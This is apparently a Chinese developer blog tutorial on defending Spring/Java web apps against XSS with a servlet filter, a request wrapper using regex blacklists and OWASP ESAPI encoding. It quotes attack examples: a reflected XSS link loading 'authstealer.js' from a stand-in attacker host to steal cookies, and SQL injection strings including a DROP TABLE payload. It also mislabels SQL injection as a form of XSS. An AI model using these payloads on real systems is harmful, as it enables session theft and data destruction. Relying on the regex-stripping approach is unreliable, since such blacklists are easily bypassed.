预防XSS,这几招管用
最近重温了一下「黑客帝国」系列电影,一攻一防实属精彩,生活中我们可能很少有机会触及那么深入的网络安全问题,但工作中请别忽略你身边的精彩
大家应该都听过 XSS (Cross-site scripting) 攻击问题,或多或少会有一些了解,但貌似很少有人将这个问题放在心上。一部分人是存有侥幸心理:“谁会无聊攻击我们的网站呢?”;另一部分人可能是工作职责所在,很少触碰这个话题。希望大家看过这篇文章之后能将问题重视起来,并有自己的解决方案, 目前XSS攻击问题依旧很严峻:
Cross-site scripting(XSS)是Web应用程序中常见的一种计算机安全漏洞,XSS 使攻击者能够将客户端脚本注入其他用户查看的网页中。 攻击者可能会使用跨站点脚本漏洞绕过访问控制,例如同源策略。 截至2007年,Symantec(赛门铁克) 在网站上执行的跨站脚本占据了所有安全漏洞的 84% 左右。2017年,XSS 仍被视为主要威胁载体,XSS 影响的范围从轻微的麻烦到重大的安全风险,影响范围的大小,取决于易受攻击的站点处理数据的敏感性方式以及站点所有者实施对数据处理的安全策略。
XSS 类型的划分以及其他概念性的东西在此就不做过多说明,Wikipedia Cross-site scripting 说明的非常清晰,本文主要通过举例让读者看到 XSS 攻击的严重性,同时提供相应的解决方案
XSS 案例
不喜欢看 XSS 案例的,请跳过此处,直接去看 解决方案 。Bob 和 Alice 两个人是经常用作案例(三次握手,SSH认证等)说明的,没错下面的这些案例也会让他们再上头条😆
案例一
Alice 经常访问由 Bob 托管的特定网站, Bob 的网站允许 Alice 使用用户名/密码登陆后,存储敏感数据,例如账单信息。当用户登录时,浏览器会保留一个授权 Cookie,它看起来像一些垃圾字符,这样两台计算机(客户端和服务器)都有一条她已登录的记录。
Mallory 观察到 Bob 的网站包含一个 XSS 漏洞:
- 当她访问“搜索”页面时,她会在搜索框中输入搜索词,然后单击“提交”按钮。
- 使用普通的搜索查询,如单词“puppies”,页面只显示“找不到小狗相关内容”,网址为
http://bobssite.org/search?q=puppies
这是完全正常的行为。
- 但是,当她提交异常搜索查询时,例如
<script type ='application / javascript'> alert('xss'); </ script>
- 出现一个警告框(表示“xss”)。
- 该页面显示“未找到”,以及带有文本“xss”的错误消息。
- URL 是
http://bobssite.org/search?q= <script%20type ='application / javascript'> alert('xss'); </ script>
, 这是一个可利用的行为
Mallory制作了一个利用此漏洞的URL:
- 她创建了URL
http://bobssite.org/search?q=puppies<script%20src="http://mallorysevilsite.com/authstealer.js“> </ script>
。她选择使用百分比编码 encode ASCII字符,例如
http://bobssite.org/search?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22 %3E%3C%2Fscript%3E
,这样读者就无法立即破译这个恶意 URL
- 她给 Bob 网站的一些毫无防备的成员发了一封电子邮件,说“看看这些可爱的小狗!”
Alice 到电子邮件, 她喜欢小狗并点击链接。它进入Bob的网站进行搜索,找不到任何内容,并显示“找不到小狗”, 但就在这时,脚本标签运行(Alice 在屏幕上看不到)并加载并运行 Mallory 的程序 authstealer.js(触发了 XSS攻击)
authstealer.js 程序在 Alice 的浏览器中运行,就像正常访问 Bob 的网站一样。但该程序抓取 Alice 的授权 Cookie 副本并将其发送到 Mallory 的服务器
Mallory 现在将 Alice 的授权 Cookie 放入她的浏览器中,然后她去了 Bob 的网站,并以 Alice 身份登录。
Mallory 假借 Alice 身份进入网站的账单部分,查找 Alice 的信用卡号码并抓取副本。然后她去改变她的密码,这样过后爱丽丝甚至不能再登录了。
Mallory 决定更进一步向 Bob 本人发送一个类似的链接,从而获得Bob的网站管理员权限。
案例二
当向用户询问输入时,通常会发生 SQL 注入,例如用户名/用户ID,用户会为您提供一条 SQL 语句,您将无意中在数据库上运行该语句。
请查看以下示例,该示例通过向选择字符串添加变量(txtUserId)来创建SELECT语句。 该变量是从用户输入(getRequestString)获取的:
txtUserId = getRequestString("UserId"); txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;
当用户输入 userId = 105 OR 1=1
,这时 SQL 会是这个样子:
SELECT * FROM Users WHERE UserId = 105 OR 1=1;
OR 条件始终为 true,这样就有可能获取全部用户信息
如果用户输入 userId = 105; DROP TABLE Suppliers
,这时 SQL 语句会是这样子
SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers;
这样 Suppliers 表就被不知情的情况下删除掉了
通过上面的例子可以看出,XSS 相关问题可大可小,大到泄露用户数据,使系统崩溃;小到页面发生各种意想不到的异常。“苍蝇不叮无缝的蛋”,我们需要拿出解决方案,修复这个裂缝。但解决 XSS 问题需要多种方案的配合使用:
- 前端做表单数据合法性校验(这是第一层防护,虽然“防君子不防小人”,但必须要有)
- 后端做数据过滤与替换 (总有一些人会通过工具录入一些非法数据造访你的服务器的)
- 持久层数据编码规范,比如使用 Mybatis,看 Mybatis 中 “$" 和 "#" 千万不要乱用 了解这些小细节
本文主要提供第 2 种方式的解决方案
解决方案
先不要向下看,思考一下,在整个 HTTP RESTful 请求过程中,如果采用后端服务做请求数据的过滤与替换,你能想到哪些解决方案?
带你像读侦探小说一样趣味学习 Java 技术
Spring AOP
使用 Spring AOP 横切所有 API 入口,貌似可以很轻松的实现,But(英文听力重点😂),RESTful API 设计并不是统一的入参格式,有 GET 请求的 RequestParam 的入参,也有 POST 请求RequestBody的入参,不同的入参很难进行统一处理,所以这并不是很好的方式,关于 RESTful 接口的设计,可以参考 如何设计好的 RESTful API?
HttpMessageConverter
请求的 JSON 数据都要过 HttpMessageConverter 进行转换,通常我们可以通过添加 MappingJackson2HttpMessageConverter
并重写 readInternal
方法:
@Override protected Object readInternal(Class<?> clazz, HttpInputMessage inputMessage) throws IOException, HttpMessageNotReadableException { return super.readInternal(clazz, inputMessage); }
获取到转换过后的 Java 对象后对当前对象做处理,但这种方式没有办法处理 GET 请求,所以也不是一个很好的方案,想详细了解 HttpMessageConverter 数据转换过程可以查看 HttpMessageConverter是如何转换数据的?
Filter
Servlet Filter 不过多介绍,通过 Filter 可以过滤 HTTP Request,我们可以拿到请求的所有信息,所以我们可以在这里大做文章
我们有两种方式自定义我们的 Filter
- 实现
javax.servlet.Filter
接口
- Spring 环境下继承
org.springframework.web.filter.OncePerRequestFilter
抽象类
这里采用第二种方式:
@Slf4j public class GlobalSecurityFilter extends OncePerRequestFilter { @Override protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain) throws ServletException, IOException { String userInput = request.getParameter("param"); if (userInput != null && !userInput.equalsIgnoreCase(HtmlUtils.htmlEscape(userInput))) { throw new RuntimeException(); } String requestBody = IOUtils.toString(request.getInputStream(), "UTF-8"); if (requestBody != null && !requestBody.equalsIgnoreCase(HtmlUtils.htmlEscape(requestBody))) { throw new RuntimeException(); } filterChain.doFilter(request, response); } }
然后注册 Filter
@Bean public FilterRegistrationBean filterRegistrationBean() { FilterRegistrationBean registration = new FilterRegistrationBean(); registration.setFilter(globalSecurityFilter()); //URL 过滤 pattern 设置 registration.addUrlPatterns(validatePath + "/*"); registration.setOrder(5); return registration; } @Bean(name = "globalSecurityFilter") public Filter globalSecurityFilter() { return new GlobalSecurityFilter(); }
这种方案貌似可以很简单粗暴的解决,但会有以下几个问题:
- 抛出异常,没有统一 RESTful 消息返回格式,抛出异常后导致流程不可达
- 调用
request.getInputStream()
读取流,只能读取一次,调用责任链后续 filter 会导致request.getInputStream()
内容为空,即便这是 Filter 责任链中的最后一个 filter,程序运行到 HttpMessageConverter 时也会抛出异常。想了解 Filter 责任链的调用过程,可以查看 不得不知的责任链设计模式
- 看过文章开头的 XSS 攻击案例,HtmlUtils.htmlEscape(...) 可替换的内容有限,不够丰富
我们需要通过 HttpServletRequestWrapper
完成流的多次读取,当你看到这个名称 XXXWrapper
,你应该想到这应用了 Java 的设计模式——装饰模式(这是侦探的基本素养 😄),先来看类图:
HttpServletRequestWrapper 继承 ServletRequestWrapper 并实现了 HttpServletRequest 接口,我们只需定义自己的 Wrapper,并重写里面的方法即可
@Slf4j public class GlobalSecurityRequestWrapper extends HttpServletRequestWrapper { //将读取的流内容存储在 body 字符串中 private final String body; //定义Pattern数组,用于正则匹配,可添加其他pattern规则至此 private static Pattern[] patterns = new Pattern[]{ // Script fragments Pattern.compile("<script>(.*?)</script>",Pattern.CASE_INSENSITIVE), // src='...' Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL), Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL), // lonely script tags Pattern.compile("</script>",Pattern.CASE_INSENSITIVE), Pattern.compile("<script(.*?)>",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL), // eval(...) Pattern.compile("eval\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL), // expression(...) Pattern.compile("expression\\((.*?)\\)",Pattern.CASE_INSENSITIVE | Pattern.MULTILINE| Pattern.DOTALL), // javascript:... Pattern.compile("javascript:",Pattern.CASE_INSENSITIVE), // vbscript:... Pattern.compile("vbscript:",Pattern.CASE_INSENSITIVE), //在此添加其他 Pattern,更多 Pattern 内容,可以从文末 demo 处获取全部代码 }; /** *通过构造函数装饰 HttpServletRequest,同时将流内容存储在 body 字符串中 */ public GlobalSecurityRequestWrapper(HttpServletRequest servletRequest) throws IOException{ super(servletRequest); StringBuilder stringBuilder = new StringBuilder(); BufferedReader bufferedReader = null; try { InputStream inputStream = servletRequest.getInputStream(); if (inputStream != null) { bufferedReader = new BufferedReader(new InputStreamReader(inputStream)); char[] charBuffer = new char[128]; int bytesRead = -1; while ((bytesRead = bufferedReader.read(charBuffer)) > 0) { stringBuilder.append(charBuffer, 0, bytesRead); } } else { stringBuilder.append(""); } } catch (IOException ex) { throw ex; } finally { if (bufferedReader != null) { try { bufferedReader.close(); } catch (IOException ex) { throw ex; } } } //将requestBody内容以字符串形式存储在变量body中 body = stringBuilder.toString(); log.info("过滤和替换前,requestBody 内容为: 【{}】", body); } /** * 将 body 字符串重新转换为ServletInputStream, 用于request.inputStream 读取流 * @return * @throws IOException */ @Override public ServletInputStream getInputStream() throws IOException { String encodedBody = stripXSS(body); log.info("过滤和替换后,requestBody 内容为: 【{}】", encodedBody); final ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(encodedBody.getBytes()); ServletInputStream servletInputStream = new ServletInputStream() { @Override public int read() throws IOException { return byteArrayInputStream.read(); } @Override public boolean isFinished() { return byteArrayInputStream.available() == 0; } @Override public boolean isReady() { return true; } @Override public void setReadListener(ReadListener readListener) { } }; return servletInputStream; } /** * 调用该方法,可以多次获取 requestBody 内容 * @return */ public String getBody() { return this.body; } @Override public BufferedReader getReader() throws IOException { return new BufferedReader(new InputStreamReader(this.getInputStream())); } /** * 获取 request (http://127.0.0.1/test?a=1&b=2) 请求参数,多个参数返回 String[] 数组 * @param parameter * @return */ @Override public String[] getParameterValues(String parameter) { String[] values = super.getParameterValues(parameter); if (values == null) { return null; } int count = values.length; String[] encodedValues = new String[count]; for (int i = 0; i < count; i++) { encodedValues[i] = stripXSS(values[i]); } return encodedValues; } /** * 获取单个请求参数 * @param parameter * @return */ @Override public String getParameter(String parameter) { String value = super.getParameter(parameter); return stripXSS(value); } /** * 获取请求头信息 * @param name * @return */ @Override public String getHeader(String name) { String value = super.getHeader(name); return stripXSS(value); } /** * 标准过滤和替换方法 * @param value * @return */ private String stripXSS(String value){ if (value != null) { // 使用 ESAPI 避免 encoded 的代码攻击 value = ESAPI.encoder().canonicalize(value, false, false); value = patternReplace(value); } return value; } /** * 根据 Pattern 替换字符 */ private String patternReplace(String value){ if (StringUtils.isNotBlank(value)){ // 避免null value = value.replaceAll("\0", ""); // 根据Pattern匹配到的字符,做""替换 for (Pattern scriptPattern : patterns){ value = scriptPattern.matcher(value).replaceAll(""); } } return value; } }
至此,修改 GlobalSecurityFilter 中代码,将重写好的 GlobalSecurityRequestWrapper 重新放入到 FilterChain 中
GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper(request); filterChain.doFilter(xssHttpServletRequestWrapper, response);
上面所有方法都添加了注解,很容易理解,我们看到在 stripXSS 方法中引入了 ESAPI ,关于如何引入 ESAPI,请看当前文章 ESAPI引入方式 部分内容,来看代码:
ESAPI.encoder().canonicalize(value, false, false);
这段代码是 ESAPI 最简单的使用方式,主要防止 encoded 的代码进行 XSS 攻击,这种简单的使用在 GET 请求中没有问题,但如果是 POST 请求,requestBody 中数据有 "", 会被替换掉,这样就破坏了json 的结构,导致后续解析出错. 为什么会这样呢?
ESAPI.encoder()
构造出默认的 DefaultEncoder
, 查看该类发现:
/** * Instantiates a new DefaultEncoder */ private DefaultEncoder() { codecs.add( htmlCodec ); codecs.add( percentCodec ); codecs.add( javaScriptCodec ); }
其中 javaScriptCodec
是按照 JavaScript 标准将 "" 替换成 "", 所以我们需要做定制改变,继续查看 Encoder
接口,找到下面方法:
String canonicalize(String input, boolean restrictMultiple, boolean restrictMixed);
通过查看该方法的注释我们了解到,可以通过 DefaultEncoder 带参数构造器构造自己的 encoder:
List codecs = new ArrayList(2); codecs.add( new HTMLEntityCodec()); codecs.add( new PercentCodec()); DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec"));
所以我们可以重新定义一个 stripXSSRequestBody 方法用在 重写的 getInputStream 方法中
/** * 请求体处理,多用于json数据,自定义encoder,排除掉javascriptcodec * @param value * @return */ private String stripXSSRequestBody(String value){ if (value != null) { List codecs = new ArrayList(4); codecs.add( new HTMLEntityCodec() ); codecs.add( new PercentCodec()); DefaultEncoder defaultEncoder = new DefaultEncoder(Arrays.asList("HTMLEntityCodec", "PercentCodec")); // 使用 ESAPI 避免 encoded 的代码攻击 value = defaultEncoder.canonicalize(value, false, false); value = patternReplace(value); } return value; }
解决了 RequestBody 的问题,我们需要进一步解决防 SQL 注入查询的问题,我们可以在重写的 getParameterValues
方法中使用如下方法:
/** * 防Sql注入,多用于带参数查询 * @param value * @return */ private String stripXSSSql(String value) { Codec MYSQL_CODEC = new MySQLCodec(MySQLCodec.Mode.STANDARD); if (value != null) { // 使用 ESAPI 避免 encoded 的代码攻击 value = ESAPI.encoder().canonicalize(value, false, false); value = ESAPI.encoder().encodeForSQL(MYSQL_CODEC, value); } return value; }
ESAPI.encoder()还有很多定制化的过滤,请小伙伴动手自行发现和定制,这里不再做过多的解释
问题还没解决完,涉及到文件上传的业务,可以通过其他方式做文件魔术数字
校验,文件后缀
校验,文件大小
校验等方式,没必要在这个地方校验 XSS 内容,所以我们需要再对 Filter 做出一些改变,不处理 contentType 为 multipart/form-data
的请求
String contentType = request.getContentType(); if (StringUtils.isNotBlank(contentType) && contentType.contains("multipart/form-data")){ filterChain.doFilter(request, response); }else { GlobalSecurityRequestWrapper xssHttpServletRequestWrapper = new GlobalSecurityRequestWrapper((HttpServletRequest)request); filterChain.doFilter(xssHttpServletRequestWrapper, response); }
当然这种方式还有进一步的改善空间,比如添加白名单(YAML配置的方式)等,具体业务还需要具体分析,不过读到这里,相信大家的思路已经打开,可以进行自我创作了.
ESAPI引入方式
ESAPI(Enterprise Security API)是一个免费开源的Web应用程序API,目的帮助开发者开发出更加安全的代码, 更多介绍请查看 OWASP 或 ESAPI github使用 ESAPI,我们要引入相应的 jar 包
gradle 方式
compile group: 'org.owasp.esapi', name: 'esapi', version: '2.0.1'
maven 方式
<dependency> <groupId>org.owasp.esapi</groupId> <artifactId>esapi</artifactId> <version>2.0.1</version> </dependency>
resources 根目录下添加 ESAPI.properties
文件和 validation.properties
两个文件,至此我们就可以使用 ESAPI 帮助我们解决 XSS 问题了,文件内容可以通过下载 ESAPI source 获取,也可以从 Demo 下载地址中获取
灵魂追问
- 你了解 Java 装饰器设计模式吗?能想起来框架的哪些地方用到了该设计模式?
- 为什么单纯校验文件的后缀是不安全的校验方式?
- 你看过「黑客帝国」吗? (该问题纯属搞笑)